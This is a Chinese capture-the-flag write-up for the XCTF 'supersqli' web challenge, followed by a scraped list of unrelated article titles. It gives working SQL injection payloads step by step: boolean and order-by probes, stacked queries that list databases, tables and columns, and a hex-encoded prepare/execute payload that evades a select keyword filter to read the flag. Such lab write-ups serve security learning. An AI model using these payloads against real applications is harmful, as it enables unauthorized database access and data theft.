xctf-web(高手進階區)-supersqli
xctf:https://adworld.xctf.org.cn/
輸入單引號,發現報錯
返回正常:
/?inject=1' and 1=1--+
報錯:
/?inject=1' and 1=2--+
order by 3 報錯,order by 2正常
?inject=1' order by 2--+
利用select 去檢視的出現正則匹配,不允許使用以下字元
可以使用堆疊注入的方式,檢視當前資料庫
?inject=1';show databases;--+
檢視當前表:
/?inject=1';show tables;--+
檢視words表的欄位,發現沒有flag:
/?inject=111';show columns from words;--+
再檢視1919810931114514
表中的欄位,你會發現,直接使用show是檢視不了的
原因:
- 表名或者欄位有和mysql關鍵字或保留字相同的就必須使用反引號加以區分
- 表名如果是純數字,那麼必須用反引號
所以我們加上反引號對純數字的表進行檢視,發現flag欄位:
/?inject=111';show columns from `1919810931114514`;--+
查詢flag思路:
我們不能直接使用select進行檢視flag,但可以利用一個叫動態查詢語句的方法進行檢視。動態查詢也是需要用到select語句,但我們可以將sql語句轉換成16進位制,mysql會自動識別16進位制並進行轉化,存入一個sql語句變數中,再使用execute執行sql語句。
如果不理解動態查詢語句的小夥伴可以先學習一下動態查詢的用法:
MYSQL 動態查詢結果
mysql 實現 mssql exec 動態查詢語句
我們將sql語句轉換成16進位制:
payload:
/?inject=1';SeT@sql=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @sql;execute execsql;#
- set@a:設定一個語句變數
- prepare : 儲存一個sql語句 存到execsql 裡面
- execute :執行一個sql語句
相關文章
- 攻防世界 Reverse高手進階區 2分題 Mysterious
- 攻防世界 web高手進階區 10分題 urlWeb
- 攻防世界 Misc高手進階區 5分題 picture2
- 攻防世界 Misc高手進階區 5分題 側通道初探
- Linux-高手進階之路Linux
- 攻防世界 Misc高手進階區 2分題 心儀的公司
- 攻防世界web高手進階之blgdelWeb
- 攻防世界web高手進階18(mfw)Web
- JVM菜鳥進階高手之路十四:分析篇JVM
- js高手進階之路:underscore原始碼經典(完)JS原始碼
- js高手進階之路:underscore原始碼經典(二)JS原始碼
- js高手進階之路:underscore原始碼經典(一)JS原始碼
- js高手進階之路:underscore原始碼經典(三)JS原始碼
- 高手請進
- Android高手進階之兩幅圖搞定DilogFragmentAndroidFragment
- Mysql系列第十七講 流程控制語句(高手進階)MySql
- Python進階:切片的誤區與高階用法Python
- BCB高手進階 (十)用Sender引數實現程式碼重用 (轉)
- C++Builder 高手進階 (一)編寫彈出廣告殺手 (轉)C++UI
- 奇怪的現象,高手進!!!!非高手勿看!
- 高手們請進哈
- Android高手進階教程(二十五)之---Android 中的AIDL!!!AndroidAI
- Android高手進階教程(二十四)之---Android WebView的快取!!!AndroidWebView快取
- Android高手進階教程(二十)之---Android與JavaScript方法相互呼叫!AndroidJavaScript
- C++ Builser 高手進階 (六)在IE工具欄中新增按鈕 (轉)C++UI
- ipse開發高手請進!
- struts怪問題 高手請進
- CSS高階進階CSS
- C++ Builder 高手進階 (五)用BCB編寫多執行緒應用程式 (轉)C++UI執行緒
- Android高手進階教程(二十三)之---Android中的日曆讀寫操作!!!Android
- 高階前端進階(五)前端
- 高階前端進階(七)前端
- 高階前端進階(三)前端
- React 進階之高階元件React元件
- 「區塊鏈進階系列」什麼是Web3.0?區塊鏈Web
- Redux 進階Redux
- ElasticSearch 進階Elasticsearch
- HBase進階